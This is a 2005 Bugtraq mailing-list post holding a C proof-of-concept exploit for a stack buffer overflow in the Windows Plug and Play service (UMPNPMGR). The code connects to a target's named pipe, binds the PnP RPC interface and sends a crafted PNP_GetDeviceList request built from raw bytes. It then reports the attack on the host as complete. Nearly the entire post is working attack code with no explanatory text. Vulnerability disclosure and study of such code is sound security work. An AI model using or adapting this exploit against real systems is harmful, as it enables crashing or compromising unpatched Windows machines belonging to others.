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Message-ID: <20051021103745.7455.qmail@securityfocus.com>
Date: 21 Oct 2005 10:37:45 -0000
From: ppwd25@...mail.com
To: bugtraq@...urityfocus.com
Subject: Windows UMPNPMGR wsprintfW Stack Buffer Overflow Vulnerability PoC


#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")


unsigned char szBindString[] = 
{
	0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
	0xb8,0x10,0xb8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
	0x40,0x4e,0x9f,0x8d,0x3d,0xa0,0xce,0x11,0x8f,0x69,0x08,0x00,0x3e,0x30,0x05,0x1b,
	0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,
	0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
};

unsigned char szRequestString[] = 
{
0x05,0x00,
0x00,0x03,0x10,0x00,0x00,0x00,0x30,0x08,0x00,0x00,0x01,0x00,0x00,0x00,0x18,0x08,
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};


int main(int argc, char* argv[])
{
	char			szServerName[MAX_PATH];
	char			szPipe[MAX_PATH];
	HANDLE			hFile;
	NETRESOURCE		nr;
	
	if (argc < 2){
		printf("[-] Usage: %s <host>\n", argv[0]);
		return -1;
	}

	if ( strlen(argv[1]) > (MAX_PATH - 50) ) {
		printf("[-] Host name %s is too long !\n");
		return -1;
	}

	printf("[+] Start connect host %s ... \n", argv[1]);
	wsprintf( szServerName, "\\\\%s\\pipe", argv[1] );
	nr.dwType		=	RESOURCETYPE_ANY;
	nr.lpLocalName	=	NULL;
	nr.lpRemoteName =	szServerName;
	nr.lpProvider	=	NULL;
	if ( WNetAddConnection2(&nr, "", "", 0) != NO_ERROR ) {
		printf("[-] Connect to host %s failed !\n", argv[1]);
		return -1;
	}
	
	_snprintf(szPipe, sizeof(szPipe), "\\\\%s\\pipe\\browser", argv[1]);
	hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,
		OPEN_EXISTING, 0, NULL);

	if ( hFile == INVALID_HANDLE_VALUE ) {
		printf("[-] Open name pipe %s failed !\n", szPipe);
		return -1;
	}

	unsigned char	szOutBuffer[0X1000];
	unsigned long	nBytesRead;

	printf("[+] Start bind RPC interface ... \n");
	// bind rpc interface {8D9F4E40-A03D-11CE-8F69-08003E30051B}
	if ( ! TransactNamedPipe(hFile, szBindString, sizeof(szBindString), 
		szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
		printf("[-] TransactNamedPipe (Binding) failed !\n");
		CloseHandle(hFile);
		return -1;
	}

	// send rpc request to call PNP_GetDeviceList (opnum 10) 
	printf("[+] Start send RPC request ... \n");
	if ( ! TransactNamedPipe(hFile, szRequestString, sizeof(szRequestString), 
		szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
		printf("[-] TransactNamedPipe (Binding) failed !\n");
		CloseHandle(hFile);
		return -1;
	}	
	printf("[+] Attack host %s complete !\n", argv[1]);
	return 0;
}

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